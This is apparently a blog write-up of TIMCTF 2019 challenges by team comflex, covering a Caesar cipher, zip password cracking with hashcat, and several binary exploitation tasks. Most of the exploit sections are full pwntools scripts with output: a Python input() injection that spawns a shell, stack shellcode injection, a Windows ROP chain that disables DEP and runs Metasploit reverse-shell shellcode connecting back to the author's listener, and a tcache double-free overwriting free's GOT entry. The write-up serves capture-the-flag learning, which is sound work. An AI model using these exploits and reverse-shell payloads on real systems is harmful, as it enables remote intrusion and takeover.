본문으로 바로가기

Crypto - solved by team comflex

Baby Crypto ( 50 pts )

In the name of the problem, I thought it was a Caesar cipher.

So I use Caesar decoder site. ( https://cryptii.com/ )

Shift by 8 to get the flag.

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

=> Glad to see you made it! Welcome to the wonderful world of cryptography! Here is your reward: TIMCTF{Julius_Caesar_w0uld_b3_proud}

Password breaker ( 150 pts )

First, I see hint.

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you're doing it wrong.

So I thought I had to solve the problem with a dictionary attack and brute force.

I used https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ( rockyou.txt ) for dictionary attack.

And I used zip2john and hashcat.

First, I find zip file's hash.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john flag.zip 
flag.zip/stage2.zip:$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:stage2.zip:flag.zip:flag.zip

And make hash.txt

hash.txt

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$

Finally, use hashcat.

I can get zip file's password.

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 flag_hash.txt rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
            This may cause "CL_OUT_OF_RESOURCES" or related errors.
            To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*0*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:johncena1234

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*.../zip2$
Time.Started.....: Wed Sep 18 23:17:18 2019 (4 secs)
Time.Estimated...: Wed Sep 18 23:17:22 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   266.9 kH/s (5.84ms) @ Accel:64 Loops:62 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 917504/14344384 (6.40%)
Rejected.........: 0/917504 (0.00%)
Restore.Point....: 884736/14344384 (6.17%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-999
Candidates.#1....: lennylove -> jam16
Hardware.Mon.#1..: Temp: 54c Fan: 30% Util: 76% Core:1468MHz Mem:3004MHz Bus:16

Started: Wed Sep 18 23:17:15 2019
Stopped: Wed Sep 18 23:17:24 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

first password is johncena1234.

The password for stage2 can also be found in the same way.

Here, brute force is used.

Find hash..

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john stage2.zip 
stage2.zip/flag.txt:$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:flag.txt:stage2.zip:stage2.zip

Finally, Brute force it!

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a?
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
            This may cause "CL_OUT_OF_RESOURCES" or related errors.
            To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

INFO: All hashes found in potfile! Use --show to display them.

Started: Wed Sep 18 23:46:31 2019
Stopped: Wed Sep 18 23:46:31 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a? --show
$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:bo$$

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

Last password is bo$$.

TIMCTF{12345_is_A_bad_passw0rd}

Get Flag!!!!


Exploit - solved by team comflex

Hiss hiss python ( 50 pts )

Analysis

import sys
print ("Hello user! I will give you a test. If you pass it, you get the flag\n")
print ("What is 2 + 3? ")
sys.stdout.flush()
x = input()

if (x == 5):
   print("Eh, I was just kidding. No flag for you")
else:
   print("Try again!")

Python input function has vulnerability.

If I use this vulnerability, I can execute any command.

This is easy python-jail-break problem, no filtering.

So, I can find python-jail-cheatsheet in google, and I use it.


Exploit

from pwn import *

#context.log_level = "debug"

r = remote("89.38.208.144", 11113)

command = "__import__('subpro'+'cess').call(['/bin/sh', '-s'])"

r.sendlineafter("? \n",command)

r.interactive()

Flag

juntae@ubuntu:~/ctf/timisoara/hiss-hiss-python$ p ex.py 
[+] Opening connection to 89.38.208.144 on port 11113: Done
[*] Switching to interactive mode
$ ls
flag.txt
start.sh
test.py
$ cat flag.txt
TIMCTF{h1ss_h1ss_shell}$
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 1111

Swag ( 100pts )

Analysis

First, I see swag.cpp.

swag.cpp

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

using namespace std;

int global_cookie;
int main()
{
char name[64];
int cookie;
int a;
srand(time(0));
cookie = rand();
global_cookie = cookie;
a = 2;
printf("Enter your name: ");
fflush(stdout);
gets(name);
printf("Hello, %s", name);

if((cookie != global_cookie) || (a != 1))
{
printf(", it appears you don't have enough swag\n");
exit(0);
}
printf(", I really like your swag. Come in!\n");
return 0;
}

and, I open swag binary with IDA pro.

int __cdecl main(int argc, const char **argv, const char **envp)
{
 unsigned int v3; // eax
 char v5; // [rsp+0h] [rbp-50h]
 int v6; // [rsp+48h] [rbp-8h]
 int v7; // [rsp+4Ch] [rbp-4h]

 v3 = time(0LL);
 srand(v3);
 v7 = rand();
 global_cookie = v7;
 v6 = 2;
 printf("Enter your name: ", argv);
 fflush(_bss_start);
 gets(&v5);
 printf("Hello, %s", &v5);
 if ( v7 != global_cookie || v6 != 1 )
{
   puts(", it appears you don't have enough swag");
   exit(0);
}
 puts(", I really like your swag. Come in!");
 puts("Your access code is: TIMCTF{1_am_th3_c00kie_m0nsta}");
 return 0;
}

Flag

TIMCTF{1_am_th3_c00kie_m0nsta}

Bof-server ( 100pts )

Analysis

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char v4; // [rsp+0h] [rbp-100h]

 printf("Hello! Here is the stack address: %llx, enter your name please: ", &v4, envp);
 fflush(_bss_start);
 gets(&v4);
 printf("Nice to meet you, %s!\n", &v4);
 return 0;
}

This binary use gets(), we can catch RIP.

And, problem gives me stack address.

Finally, NX bit is disabled.

juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ checksec bof-server
[*] '/home/juntae/ctf/timisoara/pwn/bof-server/bof-server'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX disabled
  PIE:     No PIE (0x400000)
  RWX:     Has RWX segments

This is mitigation of problem.


Exploit

As explained earlier, I can use shellcode.

So, I build shellcode in stack and make RIP stack address.

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

#r = remote("89.38.208.144",11112)
r = process("./bof-server")
e = ELF("./bof-server")
libc = e.libc

r.recvuntil(": ")
stack = int(r.recv(12),16)
log.info("stack : " + hex(stack))

shellcode = shellcraft.sh()

payload = asm(shellcode)
payload = payload.ljust(0x108,"\x00")
payload += p64(stack)
r.sendlineafter("please: ",payload)

r.interactive()

Flag

juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ p ex.py 
[+] Opening connection to 89.38.208.144 on port 11112: Done
[*] '/home/juntae/ctf/timisoara/pwn/bof-server/bof-server'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX disabled
  PIE:     No PIE (0x400000)
  RWX:     Has RWX segments
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] stack : 0x7ffcd2921010
[*] Switching to interactive mode
$ ls
bof-server
flag.txt
start.sh
$ cat flag.txt
TIMCTF{oooverfl0w}wwwWWW$
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11112

Rop Me Baby ( 200pts )

Analysis

.text:000000000040159A ; __unwind { // sub_4ADA90
.text:000000000040159A                 push    rbp
.text:000000000040159B                 push    rbx
.text:000000000040159C                 mov     eax, 13D8h
.text:00000000004015A1                 call   sub_40C5F0
.text:00000000004015A6                 sub     rsp, rax
.text:00000000004015A9                 lea     rbp, [rsp+80h]
.text:00000000004015B1                 call   sub_40B220
.text:00000000004015B6                 lea     rax, [rbp+1360h+WSAData]
.text:00000000004015BD                 mov     rdx, rax        ; lpWSAData
.text:00000000004015C0                 mov     ecx, 202h       ; wVersionRequested
.text:00000000004015C5                 mov     rax, cs:WSAStartup
.text:00000000004015CC                 call    rax ; WSAStartup
.text:00000000004015CE                 mov     r8d, 6          ; protocol
.text:00000000004015D4                 mov     edx, 1          ; type
.text:00000000004015D9                 mov     ecx, 2          ; af
.text:00000000004015DE                 mov     rax, cs:socket
.text:00000000004015E5                 call    rax ; socket
.text:00000000004015E7                 mov     [rbp+1360h+s], rax
.text:00000000004015EE                 mov     [rbp+1360h+name.sa_family], 2
.text:00000000004015F7                 mov     dword ptr [rbp+1360h+name.sa_data+2], 0
.text:0000000000401601                 mov     ecx, 2025       ; hostshort
.text:0000000000401606                 mov     rax, cs:htons
.text:000000000040160D                 call    rax ; htons
.text:000000000040160F                 mov     word ptr [rbp+1360h+name.sa_data], ax
.text:0000000000401616                 lea     rax, [rbp+1360h+name]
.text:000000000040161D                 mov     rcx, [rbp+1360h+s] ; s
.text:0000000000401624                 mov     r8d, 10h        ; namelen
.text:000000000040162A                 mov     rdx, rax        ; name
.text:000000000040162D                 mov     rax, cs:bind
.text:0000000000401634                 call    rax ; bind
.text:0000000000401636                 cmp     eax, 0FFFFFFFFh
.text:0000000000401639                 setz   al
.text:000000000040163C                 test   al, al
.text:000000000040163E                 jz     short loc_401666
.text:0000000000401640                 lea     rdx, aUnableToBindSo ; "Unable to bind socket!\r\n"
.text:0000000000401647                 mov     rcx, cs:off_4B6FB0
.text:000000000040164E                 call   sub_4A9FC0
.text:0000000000401653                 mov     rax, cs:WSACleanup
.text:000000000040165A                 call    rax ; WSACleanup
.text:000000000040165C                 mov     ebx, 0
.text:0000000000401661                 jmp     loc_401955

First, open socket and port 2025.

So, I think rop_me_baby.exe is server

.text:0000000000401666 loc_401666:                             ; CODE XREF: sub_40159A+A4↑j
.text:0000000000401666                 mov     rax, [rbp+1360h+s]
.text:000000000040166D                 mov     edx, 14h        ; backlog
.text:0000000000401672                 mov     rcx, rax        ; s
.text:0000000000401675                 mov     rax, cs:listen
.text:000000000040167C                 call    rax ; listen
.text:000000000040167E                 lea     rdx, aWaitingForClie ; "Waiting for clients: "
.text:0000000000401685                 mov     rcx, cs:off_4B6FB0
.text:000000000040168C                 call   sub_4A9FC0

Second, start listen and waiting client.

.text:0000000000401807                 mov     rdx, rax        ; buf
.text:000000000040180A                 mov     rax, [rbp+1360h+var_18]
.text:0000000000401811                 mov     r9d, 0          ; flags
.text:0000000000401817                 mov     r8d, ebx        ; len
.text:000000000040181A                 mov     rcx, rax        ; s
.text:000000000040181D                 mov     rax, cs:send
.text:0000000000401824                 call    rax ; send
.text:0000000000401826                 lea     rax, [rbp+1360h+var_60]
.text:000000000040182D                 mov     rcx, rax
.text:0000000000401830                 call   sub_48FBF0
.text:0000000000401835                 lea     rax, [rbp+1360h+var_80]
.text:000000000040183C                 mov     rcx, rax
.text:000000000040183F                 call   sub_48FBF0
.text:0000000000401844                 mov     rax, [rbp+1360h+var_18]
.text:000000000040184B                 mov     r9d, 0          ; flags
.text:0000000000401851                 mov     r8d, 1000h      ; len
.text:0000000000401857                 lea     rdx, buf        ; buf
.text:000000000040185E                 mov     rcx, rax        ; s
.text:0000000000401861                 mov     rax, cs:recv
.text:0000000000401868                 call    rax ; recv
.text:000000000040186A                 mov     [rbp+1360h+var_34], eax
.text:0000000000401870                 mov     eax, [rbp+1360h+var_34]
.text:0000000000401876                 mov     edx, eax
.text:0000000000401878                 lea     rcx, buf
.text:000000000040187F                 call   sub_401550
.text:0000000000401884                 lea     rdx, aReceived  ; "Received: "
.text:000000000040188B                 mov     rcx, cs:off_4B6FB0
.text:0000000000401892                 call   sub_4A9FC0

Third, server wait payload.

The place to enter payload is BSS section.

This part causes the vulnerability. Because the length limit is not appropriate.

So, I can catch RIP .


Exploit

I used reverse connection Because it is communication between server and client.

This .exe has DEP protection.

So we have to bypass DEP with windows ROP.

The payload scenario is shown below.

0. Prepare a server for reverse connection.
1. Set register. ( RCX,RDX,R8,R9 )
2. Call VirtualProtect. ( This function can turn off DEP. )
- VirtualProtect in kernel32.dll
- problem give kernel32.dll's base address
- We can use kernel32's function!
3. build NOP sled + window reverse shellcode.
4. Change the RIP to the position where the nop sled is located.
5. The shell is connected to the my server.

Gadgets were extracted from the rop_me_baby.exe binary using rp++.

My gadget is here.


gadgets

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8 : " + hex(pop_r8))
log.info("pop_r9 : " + hex(pop_r9))

The shellcode came from the metasploit with the windows x64 tcp reverse conection.

My shellcode is here.


shellcode

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

Finally, my full exploit code is here.


ex.py

from pwn import *

#context.log_level = "debug"

r = remote("89.38.208.147",2025) #remote
#r = remote("192.168.2.234",2025) #local
r.recvuntil("Ntdll address is: ")
ntdll = int(r.recv(12),16)

r.recvuntil("kernel32 address is: ")
kernel32 = int(r.recv(12),16)

log.info("ntdll : " + hex(ntdll))
log.info("kernel32 : " + hex(kernel32))

protect = kernel32 + 0x14d0 #remote
#protect = kernel32 + 0x1acb0 #local

bss = 0x0000000004DE040
log.info("bss : " + hex(bss))

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

##### parameter #####
# rcx : bss
# rdx : 0x6000
# r8 : 0x40
# r9 : bss + 0x1000

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8 = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9 = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8 : " + hex(pop_r8))
log.info("pop_r9 : " + hex(pop_r9))

payload = ""
payload += "A" * (256 + 8)

payload += p64(pop_rbx)
payload += p64(bss)

payload += p64(pop_r9)
payload += p64(bss + 0x1000) + p64(0) * 3
payload += "A" * 0x20

payload += p64(pop_r8)
payload += p64(0x40)
payload += p64(0) * 2
payload += "A" * 0x28

payload += p64(pop_rcx)
payload += p64(bss)

payload += p64(pop_rdx)
payload += p64(0x6000)
payload += "A" * 0x28

payload += p64(protect)
payload += p64(bss + len(payload) + 0x10)
payload += "\x90" * 0x100
payload += shellcode

log.info("payload : " + str(len(payload)))

r.recvuntil("payload: ")
pause()
r.sendline(payload)

r.interactive()

The environment setting method is as follows.

0. Leave the port open on my server.
1. start exploit!

set port

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...

start exploit

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ python ex.py

Flag

client

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ p ex.py 
[+] Opening connection to 89.38.208.147 on port 2025: Done
[*] ntdll : 0x7ffd02630000
[*] kernel32 : 0x7ffd01a00000
[*] bss : 0x4de040
[*] pop_rcx : 0x40c620
[*] pop_rdx : 0x401095
[*] pop_r8 : 0x4960b3
[*] pop_r9 : 0x4a4a14
[*] payload : 1228
[*] Paused (press any to continue)
[*] Switching to interactive mode
$
[*] Interrupted

my server

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...
89.38.208.147: inverse host lookup failed: Unknown host
connect to [172.17.0.6] from (UNKNOWN) [89.38.208.147] 58731
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\RopME\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 32BC-80DB

Directory of C:\Users\RopME\Desktop

09/13/2019  12:21 PM   <DIR>         .
09/13/2019  12:21 PM   <DIR>         ..
09/13/2019  12:22 PM                29 chall.bat
09/13/2019  11:31 AM                28 flag.txt.txt
09/13/2019  12:53 PM           902,144 rop_me_baby.exe
09/13/2019  12:03 PM   <DIR>         socat_not_working
              3 File(s)        902,201 bytes
              3 Dir(s)  47,296,638,976 bytes free

C:\Users\RopME\Desktop>type flag.txt.txt
type flag.txt.txt
TIMCTF{Yeah_Y34h_ropME_b4by}

Team Manager ( 300pts )

Analysis

      case 2u:
       printf("Enter player id (1-4) ");
       fflush(_bss_start);
       scanf("%d", &id);
       if ( id > 0 && id <= 4 )
      {
         if ( players[id] )
           free(players[id]);
      }

Do not check the Double Free bug here.

So, I can use tchace dup.

So I assigned the address of the GOT side to the players global variable.

      case 3u:
       printf("Enter player id (1-4) ");
       fflush(_bss_start);
       scanf("%d", &id);
       if ( id > 0 && id <= 4 )
      {
         if ( players[id] )
        {
           getchar();
           printf("Player's name: ");
           fflush(_bss_start);
           gets((players[id] + 6));
           printf("Player's skill at reversing and exploitation: ");
           fflush(_bss_start);
           scanf("%d", players[id]);
           printf("Player's skill at web exploit: ");
           fflush(_bss_start);
           scanf("%d", players[id] + 2);
           printf("Player's skill at crypto: ");
           fflush(_bss_start);
           scanf("%d", players[id] + 1);
           printf("Player's skill at forensics: ");
           fflush(_bss_start);
           scanf("%d", players[id] + 3);
           printf("Extra note/comment: ");
           fflush(_bss_start);
           getchar();
           gets(*(players[id] + 2));
           puts("\n");
        }

In this part, a heap overflow occurs.

So you can fill the got section with whatever you want.


Exploit

As you debug, you will see that you pass the address 0x602090 as the argument to the free function.

Therefore, we cover the address of system function in GOT of free function.

Then enter the string "/bin/sh" at 0x602090.

Then run the free function to capture the shell.

from pwn import *

#context.log_level = "debug"

e = ELF("./timctf_manager")
libc = ELF("./libc-2.27.so")
r = remote("89.38.208.144",11114)
#r = process("./timctf_manager")

def add(index,name,rev,web,crypto,forensic,comment):
r.sendline("1")
r.sendlineafter("(1-4) ",str(index))
r.sendlineafter(": ",name)
r.sendlineafter(": ",str(rev))
r.sendlineafter(": ",str(web))
r.sendlineafter(": ",str(crypto))
r.sendlineafter(": ",str(forensic))
r.sendlineafter(": ",comment)

def remove(index):
r.sendline("2")
r.sendlineafter("(1-4) ",str(index))

def edit(index,name,rev,web,crypto,forensic,comment):
r.sendline("3")
r.sendlineafter("(1-4) ",str(index))
r.sendlineafter(": ",name)
r.sendlineafter(": ",str(rev))
r.sendlineafter(": ",str(web))
r.sendlineafter(": ",str(crypto))
r.sendlineafter(": ",str(forensic))
r.sendlineafter(": ",comment)

def player(index):
r.sendline("4")
r.sendlineafter("(1-4) ",str(index))

players = 0x6020a0
got = e.got["free"]
log.info("got : " + hex(got))

# input : index,name,rev,web,crypto,forensic,comment

add(1,"\x00","+","+","+","+","AAAA")

remove(1)
remove(1)

add(2,"\x00",(players+0x8)-0x18,"+","+","+","BBBB")

